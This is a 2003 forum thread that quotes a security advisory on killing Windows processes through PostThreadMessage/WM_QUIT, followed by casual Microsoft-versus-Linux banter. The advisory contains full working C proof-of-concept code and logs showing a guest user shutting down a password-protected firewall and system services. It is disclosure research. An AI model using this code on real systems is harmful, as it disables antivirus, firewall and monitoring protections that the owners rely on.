News Register Control Panel Private Messages Members List Team Search News Posts About Us

Linux Advisory » Q & A - Discussions » Microsoft Security » Another M$ blunder?? » Hello Guest [login|register]
Last Post | First Unread Post Print Page | Recommend to Friend | Add Thread to Favorites
Pages (2): [1] 2 next » Post New Thread Post Reply
Author
Post « Previous Thread | Next Thread »
nulldevice nulldevice is a Male
Administrator


Registration Date: 06-06-2003
Posts: 150
Location: Z10N

Rating:
7 Votes - Average Rating: 3.43

Level: 19 [?]
Experience Points: 22.221
Next Level: 22.851
630 point(s) of experience needed for next level

OFFLINE

Another M$ blunder?? Post Reply with Quote Edit/Delete Post Report Post to a Moderator       IP Information

this is with respect to exploit published by brett moore of http://www.security-assessment.com
quote:
===========================================
==============================
= Process Killing - Playing with PostThreadMessage
=
= [email protected]
= http://www.security-assessment.com
=
= Originally posted: October 02, 2003
==================================================
=======================

== Background ==

While continuing our research into shatter attacks, we turned our
attention to the PostThreadMessage API.

(Start MSDN)
- The PostThreadMessage function places (posts) a message in the message
- queue of the specified thread and then returns without waiting for the
- thread to process the message.
-
- BOOL PostThreadMessage(
- DWORD idThread, // thread identifier
- UINT Msg, // message to post
- WPARAM wParam, // first message parameter
- LPARAM lParam // second message
-
- The function fails if the specified thread does not have a message queue.
- The system creates a thread's message queue when the thread makes its
- first call to one of the Win32 USER or GDI functions.
(End MSDN)

It appears from our testing that any thread running under any security
level will accept a WM_QUIT message, causing the process to terminate.

(Start MSDN)
- WM_QUIT
- The WM_QUIT message indicates a request to terminate an application and
- is generated when the application calls the PostQuitMessage function.
- Return Values
- This message does not have a return value, because it causes the message
- loop to terminate before the message is sent to the application's window
- procedure.
(End MSDN)

Similar results can also be seen in some cases through the use of sending
WM_DESTROY or WM_CLOSE messages.

While this does not have the security implications of 'privilege escalation'
attacks, it may cause some concerns under certain circumstances.

For our testing we used a personal firewall that runs as a service, and
requires a password before terminating. When run from a guest account
Appshutdown was able to kill the firewall service and various other windows
services.

This means that any user has the potential to shutdown;
* antivirus applications
* personal firewall applications
* filtering applications
* monitoring applications
* potentially critical system services.

The mitigating factor is that the thread is required to have a message
queue.

== Example Logs ==

The test.exe process is the personal firewall that requires a password
before shutting down.

The following logs are shortened outputs of the tlist and kill commands
from the NTRK
-------------------------------------------------------
C:\>tlist
208 WINLOGON.EXE NetDDE Agent
1020 test.exe TestFirewall
1132 mstask.exe SYSTEM AGENT COM WINDOW

C:\>kill 1020
process test.exe (1020) - 'TestFirewall' killed
C:\>kill 208
process WINLOGON.EXE (20Cool - 'NetDDE Agent' killed
-------------------------------------------------------

Authough kill results in the messages above, what really happened was;
a) the password prompt appeared when trying to kill 1020
b) the service remained running when trying to kill 208

-------------------------------------------------------
C:\>appshutdown "TestFirewall"
% AppShutdown - Playing with PostThreadMessage
% [email protected]

+ Finding TestFirewall Window...
+ Found Main Window At...0x30038h
+ Finding Window Thread..0x42ch Process 0x3fch
+ Send Quit Message
+ Done...
C:\>appshutdown "NetDDE Agent"
% AppShutdown - Playing with PostThreadMessage
% [email protected]

+ Finding NetDDE Agent Window...
+ Found Main Window At...0x10018h
+ Finding Window Thread..0x110h Process 0xd0h
+ Send Quit Message
+ Done...
-------------------------------------------------------

AppShutdown managed to successfully shutdown both services;
a) bypassing the required password for the personal firewall
b) bypassing the security restrictions placed on shutting down services

== Example Code ==

/ **************************************************
**********************
* Appshutdown.c
*
* Demonstrates the use of PostThreadMessage to;
* - shutdown any application with a message handler
*
* The window title can be specified in code or on the command line
*
* Works against any application/service process that
* has implemented a message handler
*
**************************************************
***********************/
#include <windows.h>
#include <commctrl.h>
#include <stdio.h>
char tWindow[]="Windows Task Manager";// The name of the main window
char* pWindow;
int main(int argc, char *argv[])
{
long hWnd,proc;
DWORD hThread;
printf("%% AppShutdown - Playing with PostThreadMessage\n");
printf("%% [email protected]\n\n");
// Specify Window Title On Command Line
if (argc ==2)
pWindow = argv[1];
else
pWindow = tWindow;

printf("+ Finding %s Window...\n",pWindow);
hWnd = (long)FindWindow(NULL,pWindow);
if(hWnd == NULL)
{
printf("+ Couldn't Find %s Window\n",pWindow);
return 0;
}
printf("+ Found Main Window At...0x%xh\n",hWnd);
printf("+ Finding Window Thread..");
hThread = GetWindowThreadProcessId(hWnd,&proc);
if(hThread == NULL)
{
printf("Failed\n");
return 0;
}
printf("0x%xh Process 0x%xh\n",hThread,proc);
printf("+ Send Quit Message\n");
PostThreadMessage((DWORD) hThread,(UINT) WM_QUIT,0,0);
printf("+ Done...\n");
return 0;
}

== Example Vulnerable Programs ==

>From our testing, any process that implements a message queue is vulnerable
to been shutdown by a user of any security level. In some instances
bypassing shutdown password requirements.
This attack must be run through an interactive logon.

== Credit ==

Brett Moore from security-assessment.com

== About Security-Assessment.com ==

Security-Assessment.com is a leader in intrusion testing and security
code review, and leads the world with SA-ISO, online ISO17799 compliance
management solution. Security-Assessment.com is committed to security
research and development, and its team have previously identified a
number of vulnerabilities in public and private software vendors products.



posted here : http://packetstormsecurity.nl/0310-...ts/prockill.txt

Now is this another blunder??. I consider this to be a serious problem. As declared by Symentec the new breeds of viruses are becoming too much complex and are quick to take the advantage of new holes.....i see this code being integrated into computer viruses and trojans as boiler plate code to kill all the AVs, Firewalls etc. So simply stating the err of M$ can cost anything. Despite taking all the required steps to secure....M$ blunder left you in the wild just wondering??

Just my views.



-=-=-=-=-==-=-=-=-=-==-
rIDing hIGh oN tH3 sKy
-=-=-=-==-=-=-=-=-=-=-=-

10-03-2003 08:42 Send an Email to nulldevice Search for Posts by nulldevice Add nulldevice to your Buddy List Add nulldevice to your Contact List
Ravish Ravish is a Male
Administrator




Registration Date: 12-27-2002
Posts: 732
Location: Internet
Linux Distro: Redhat, Mandrake, Gentoo

Rating:
15 Votes - Average Rating: 8.13

Level: 29 [?]
Experience Points: 226.391
Next Level: 242.754
16.363 point(s) of experience needed for next level

OFFLINE

Post Reply with Quote Edit/Delete Post Report Post to a Moderator       IP Information

Danger & threats are increasing for M$ users day by day. And some ppl still thinks that its best. LOL





www.gamingcell.com

10-03-2003 10:03 Send an Email to Ravish Homepage of Ravish Search for Posts by Ravish Add Ravish to your Buddy List AIM Screenname: Ravi5h YIM Screenname: ravishahuja1
Nitin Nitin is a Male
Contributor


Registration Date: 07-24-2003
Posts: 390
Location: india
Linux Distro: red hat 8.0

Rating:
13 Votes - Average Rating: 6.69

Level: 22 [?]
Experience Points: 38.968
Next Level: 49.025
10.057 point(s) of experience needed for next level

OFFLINE

Post Reply with Quote Edit/Delete Post Report Post to a Moderator       IP Information

yup...
why not steve balmer closes M$
lol



Well for me life is very small and one time oppurtunity given to us by allmighty up above there so i want to make most of that so that after my death i keep living in peoples heart Wub

10-03-2003 18:51 Send an Email to Nitin Homepage of Nitin Search for Posts by Nitin Add Nitin to your Buddy List YIM Screenname: smart_ass_8_3
onzeponze onzeponze is a Male
Contributor


Registration Date: 06-17-2003
Posts: 498
Location: India
Linux Distro: Knoppix

Rating:
6 Votes - Average Rating: 3.83

Level: 24 [?]
Experience Points: 68.225
Next Level: 79.247
11.022 point(s) of experience needed for next level

OFFLINE

Post Reply with Quote Edit/Delete Post Report Post to a Moderator       IP Information

steve balmer would die before he closed M$, anyway, its a public company, the shareholders wouldnt be too happy

10-04-2003 02:49 Send an Email to onzeponze Search for Posts by onzeponze Add onzeponze to your Buddy List
Nitin Nitin is a Male
Contributor


Registration Date: 07-24-2003
Posts: 390
Location: india
Linux Distro: red hat 8.0

Rating:
13 Votes - Average Rating: 6.69

Level: 22 [?]
Experience Points: 38.968
Next Level: 49.025
10.057 point(s) of experience needed for next level

OFFLINE

Post Reply with Quote Edit/Delete Post Report Post to a Moderator       IP Information

so wud he keep introducing new crappy OS's like XP ...



Well for me life is very small and one time oppurtunity given to us by allmighty up above there so i want to make most of that so that after my death i keep living in peoples heart Wub

10-04-2003 18:04 Send an Email to Nitin Homepage of Nitin Search for Posts by Nitin Add Nitin to your Buddy List YIM Screenname: smart_ass_8_3
Ravish Ravish is a Male
Administrator




Registration Date: 12-27-2002
Posts: 732
Location: Internet
Linux Distro: Redhat, Mandrake, Gentoo

Rating:
15 Votes - Average Rating: 8.13

Level: 29 [?]
Experience Points: 226.391
Next Level: 242.754
16.363 point(s) of experience needed for next level

OFFLINE

Post Reply with Quote Edit/Delete Post Report Post to a Moderator       IP Information

May be... They might improve... but its quite rare chance.





www.gamingcell.com

10-04-2003 20:26 Send an Email to Ravish Homepage of Ravish Search for Posts by Ravish Add Ravish to your Buddy List AIM Screenname: Ravi5h YIM Screenname: ravishahuja1
nulldevice nulldevice is a Male
Administrator


Registration Date: 06-06-2003
Posts: 150
Location: Z10N

Rating:
7 Votes - Average Rating: 3.43

Level: 19 [?]
Experience Points: 22.221
Next Level: 22.851
630 point(s) of experience needed for next level

OFFLINE

Post Reply with Quote Edit/Delete Post Report Post to a Moderator       IP Information

well just yesterday Windows XP Media Center 2004 was released...

just an update tio all of u....



-=-=-=-=-==-=-=-=-=-==-
rIDing hIGh oN tH3 sKy
-=-=-=-==-=-=-=-=-=-=-=-

10-05-2003 00:19 Send an Email to nulldevice Search for Posts by nulldevice Add nulldevice to your Buddy List Add nulldevice to your Contact List
Ravish Ravish is a Male
Administrator




Registration Date: 12-27-2002
Posts: 732
Location: Internet
Linux Distro: Redhat, Mandrake, Gentoo

Rating:
15 Votes - Average Rating: 8.13

Level: 29 [?]
Experience Points: 226.391
Next Level: 242.754
16.363 point(s) of experience needed for next level

OFFLINE

Post Reply with Quote Edit/Delete Post Report Post to a Moderator       IP Information

Seeen that in news.





www.gamingcell.com

10-05-2003 03:05 Send an Email to Ravish Homepage of Ravish Search for Posts by Ravish Add Ravish to your Buddy List AIM Screenname: Ravi5h YIM Screenname: ravishahuja1
onzeponze onzeponze is a Male
Contributor


Registration Date: 06-17-2003
Posts: 498
Location: India
Linux Distro: Knoppix

Rating:
6 Votes - Average Rating: 3.83

Level: 24 [?]
Experience Points: 68.225
Next Level: 79.247
11.022 point(s) of experience needed for next level

OFFLINE

Post Reply with Quote Edit/Delete Post Report Post to a Moderator       IP Information

well, IMHO xp isnt that crappy, if you have a very powerful machine with the latest hardware ( unlike me ) i'm sure it will work well.

10-05-2003 04:19 Send an Email to onzeponze Search for Posts by onzeponze Add onzeponze to your Buddy List
Nitin Nitin is a Male
Contributor


Registration Date: 07-24-2003
Posts: 390
Location: india
Linux Distro: red hat 8.0

Rating:
13 Votes - Average Rating: 6.69

Level: 22 [?]
Experience Points: 38.968
Next Level: 49.025
10.057 point(s) of experience needed for next level

OFFLINE

Post Reply with Quote Edit/Delete Post Report Post to a Moderator       IP Information

how do u know that onze..
had u used that..it wud be surely like other M$ products good looking but crappy..
lol



Well for me life is very small and one time oppurtunity given to us by allmighty up above there so i want to make most of that so that after my death i keep living in peoples heart Wub

10-05-2003 19:03 Send an Email to Nitin Homepage of Nitin Search for Posts by Nitin Add Nitin to your Buddy List YIM Screenname: smart_ass_8_3
Heather Heather is a Female
Respected Member




Registration Date: 05-21-2003
Posts: 536
Location: Lost City of Zen.
Linux Distro: I'm OS neutral.

Rating:
9 Votes - Average Rating: 3.67

Level: 25 [?]
Experience Points: 87.730
Next Level: 100.000
12.270 point(s) of experience needed for next level

OFFLINE

Post Reply with Quote Edit/Delete Post Report Post to a Moderator       IP Information

quote:
Originally posted by Nitin
how do u know that onze..
had u used that..it wud be surely like other M$ products good looking but crappy..
lol

Nitin, is there anything inside that great expanse you call a brain? You constantly flame about Microsoft without making any effort to backup your claims?

I'm kind of tired of it and I can't possibly be the only one.



Utinam logica falsa tuam philosophiam totam suffodiant

This post has been edited 1 time(s), it was last edited by Heather on 10-06-2003 at 00:16.

10-06-2003 00:15 Send an Email to Heather Search for Posts by Heather Add Heather to your Buddy List
onzeponze onzeponze is a Male
Contributor


Registration Date: 06-17-2003
Posts: 498
Location: India
Linux Distro: Knoppix

Rating:
6 Votes - Average Rating: 3.83

Level: 24 [?]
Experience Points: 68.225
Next Level: 79.247
11.022 point(s) of experience needed for next level

OFFLINE

Post Reply with Quote Edit/Delete Post Report Post to a Moderator       IP Information

yeah, me too. does he realize the amount work and money put into xp?

10-06-2003 15:43 Send an Email to onzeponze Search for Posts by onzeponze Add onzeponze to your Buddy List
Nitin Nitin is a Male
Contributor


Registration Date: 07-24-2003
Posts: 390
Location: india
Linux Distro: red hat 8.0

Rating:
13 Votes - Average Rating: 6.69

Level: 22 [?]
Experience Points: 38.968
Next Level: 49.025
10.057 point(s) of experience needed for next level

OFFLINE

Post Reply with Quote Edit/Delete Post Report Post to a Moderator       IP Information

so what..
i don't care for the money and time they wastes..it wud be thousands times better if they had made some good software for linux..



Well for me life is very small and one time oppurtunity given to us by allmighty up above there so i want to make most of that so that after my death i keep living in peoples heart Wub

10-06-2003 18:18 Send an Email to Nitin Homepage of Nitin Search for Posts by Nitin Add Nitin to your Buddy List YIM Screenname: smart_ass_8_3
onzeponze onzeponze is a Male
Contributor


Registration Date: 06-17-2003
Posts: 498
Location: India
Linux Distro: Knoppix

Rating:
6 Votes - Average Rating: 3.83

Level: 24 [?]
Experience Points: 68.225
Next Level: 79.247
11.022 point(s) of experience needed for next level

OFFLINE

Post Reply with Quote Edit/Delete Post Report Post to a Moderator       IP Information

microsoft is built with windows, if they start making software for linux, windows will probably be abandoned without microsofts support. it doesnt make business sense, killing your best product.

10-07-2003 02:08 Send an Email to onzeponze Search for Posts by onzeponze Add onzeponze to your Buddy List
Ravish Ravish is a Male
Administrator




Registration Date: 12-27-2002
Posts: 732
Location: Internet
Linux Distro: Redhat, Mandrake, Gentoo

Rating:
15 Votes - Average Rating: 8.13

Level: 29 [?]
Experience Points: 226.391
Next Level: 242.754
16.363 point(s) of experience needed for next level

OFFLINE

Post Reply with Quote Edit/Delete Post Report Post to a Moderator       IP Information

quote:
Originally posted by onzeponze
microsoft is built with windows, if they start making software for linux, windows will probably be abandoned without microsofts support. it doesnt make business sense, killing your best product.

The always build products which are against linux.





www.gamingcell.com

10-07-2003 05:45 Send an Email to Ravish Homepage of Ravish Search for Posts by Ravish Add Ravish to your Buddy List AIM Screenname: Ravi5h YIM Screenname: ravishahuja1
nulldevice nulldevice is a Male
Administrator


Registration Date: 06-06-2003
Posts: 150
Location: Z10N

Rating:
7 Votes - Average Rating: 3.43

Level: 19 [?]
Experience Points: 22.221
Next Level: 22.851
630 point(s) of experience needed for next level

OFFLINE

Post Reply with Quote Edit/Delete Post Report Post to a Moderator       IP Information

well XP was built as a platform which will provide a transition to .NET (this is the long term bussiness plsn). M$ needed to counter the popularity of JAVA as a developing lang. (dont know my M$ wants monoploy in everything). SO they cretaed .NET. But the market wasnt prepared to accept .NET...so M$ needed a platform to launch .NET...and that platofrm emerged as Windows XP. Also XP provided a lot more than just .NET...i provided the integration of Destop And Corporate Environment Kernel of windows. The other thing that worked for M$ is eluding the users...with looks and all the stuff. Also XP proved to be the experimental platform for upcoming technologies for M$ like the integration of Digital Certificates etc.

So XP did a lot for M$. Now M$ can launch .NET with a lot more vigour than it cud have before XP coz now it has got the platform and the userbase.



-=-=-=-=-==-=-=-=-=-==-
rIDing hIGh oN tH3 sKy
-=-=-=-==-=-=-=-=-=-=-=-

10-07-2003 08:58 Send an Email to nulldevice Search for Posts by nulldevice Add nulldevice to your Buddy List Add nulldevice to your Contact List
onzeponze onzeponze is a Male
Contributor


Registration Date: 06-17-2003
Posts: 498
Location: India
Linux Distro: Knoppix

Rating:
6 Votes - Average Rating: 3.83

Level: 24 [?]
Experience Points: 68.225
Next Level: 79.247
11.022 point(s) of experience needed for next level

OFFLINE

Post Reply with Quote Edit/Delete Post Report Post to a Moderator       IP Information

thanks for the info nulldevice. dont think they can take on java anytime soon.

10-07-2003 11:37 Send an Email to onzeponze Search for Posts by onzeponze Add onzeponze to your Buddy List
Heather Heather is a Female
Respected Member




Registration Date: 05-21-2003
Posts: 536
Location: Lost City of Zen.
Linux Distro: I'm OS neutral.

Rating:
9 Votes - Average Rating: 3.67

Level: 25 [?]
Experience Points: 87.730
Next Level: 100.000
12.270 point(s) of experience needed for next level

OFFLINE

Post Reply with Quote Edit/Delete Post Report Post to a Moderator       IP Information

quote:
Originally posted by onzeponze
thanks for the info nulldevice. dont think they can take on java anytime soon.

Apparently Sun Microsystems is more than a little frightened. They recently brought a lawsuit against Microsoft about their java platform. I would imagine that Sun will have some very good competition in the coming years.



Utinam logica falsa tuam philosophiam totam suffodiant

10-09-2003 08:59 Send an Email to Heather Search for Posts by Heather Add Heather to your Buddy List
Nitin Nitin is a Male
Contributor


Registration Date: 07-24-2003
Posts: 390
Location: india
Linux Distro: red hat 8.0

Rating:
13 Votes - Average Rating: 6.69

Level: 22 [?]
Experience Points: 38.968
Next Level: 49.025
10.057 point(s) of experience needed for next level

OFFLINE

Post Reply with Quote Edit/Delete Post Report Post to a Moderator       IP Information

ya may be...



Well for me life is very small and one time oppurtunity given to us by allmighty up above there so i want to make most of that so that after my death i keep living in peoples heart Wub

10-09-2003 18:56 Send an Email to Nitin Homepage of Nitin Search for Posts by Nitin Add Nitin to your Buddy List YIM Screenname: smart_ass_8_3
onzeponze onzeponze is a Male
Contributor


Registration Date: 06-17-2003
Posts: 498
Location: India
Linux Distro: Knoppix

Rating:
6 Votes - Average Rating: 3.83

Level: 24 [?]
Experience Points: 68.225
Next Level: 79.247
11.022 point(s) of experience needed for next level

OFFLINE

Post Reply with Quote Edit/Delete Post Report Post to a Moderator       IP Information

i like Sun, since an indian is a co-founder, Smile

come on sun!

10-10-2003 17:23 Send an Email to onzeponze Search for Posts by onzeponze Add onzeponze to your Buddy List
Post Reply:
Title (Optional):
Message:


Convert URLs: Automatically converts internet addresses into links by adding [url] and [/url] around them.
Email Notification: Notifies you by email every time there is a new post in this thread.
Deactivate smilies in this post.
Add Signature: Displays your signature in this post.


Pages (2): [1] 2 next » Tree Structure | Board Structure
Post New Thread Post Reply
Go to:


Powered by Burning Board 2.0.2 © 2001-2002 WoltLab GbR
English Translation by Satelk